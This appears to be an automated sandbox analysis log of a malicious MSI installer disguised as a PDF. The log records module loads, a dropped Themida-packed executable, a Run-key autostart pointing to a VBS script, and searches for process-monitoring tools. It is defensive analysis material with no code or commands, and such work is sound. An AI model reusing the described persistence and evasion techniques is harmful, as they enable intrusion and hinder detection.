Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: logoncli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: logoncli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: logoncli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: logoncli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: oledlg.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: magnification.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: d3d9.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: security.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: colorui.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: mscms.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: coloradapterclient.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: compstui.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: inetres.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: thumbcache.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: usp10.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: olepro32.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: idndl.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: dxcore.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: windows.shell.servicehostbuilder.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll
Source: C:\Users\Public\Documents\home21.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: hANEXOPDF.PDF40 234057.msi Static file information: File size 1432576 > 1048576
Source: Binary string: C:\JobRelease\win\Release\custact\x86\PowerShellScriptLauncher.pdb\ source: hANEXOPDF.PDF40 234057.msi, MSIBC4E.tmp.1.dr
Source: Binary string: C:\JobRelease\win\Release\custact\x86\PowerShellScriptLauncher.pdb source: hANEXOPDF.PDF40 234057.msi, MSIBC4E.tmp.1.dr
Source: Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr
Source: Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbn source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .boot
PE file contains sections with non-standard names
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name:
Source: home21.exe.3.dr Static PE information: section name: .themida
Source: home21.exe.3.dr Static PE information: section name: .boot
Source: home21.exe.3.dr Static PE information: section name: entropy: 7.9097474746193965
Drops PE files
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBC4E.tmp Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\Public\Documents\home21.exe Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBBDE.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBB6F.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBB00.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBBBE.tmp Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBC4E.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBBDE.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBB6F.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBB00.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIBBBE.tmp Jump to dropped file

Boot Survival
barindex
Creates autostart registry keys with suspicious values (likely registry only malware)
Source: C:\Users\Public\Documents\home21.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run DiavcthD C:\Users\Public\Documents\DiavcthD.vbs Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\Public\Documents\home21.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Window searched: window name: Filemonclass Jump to behavior
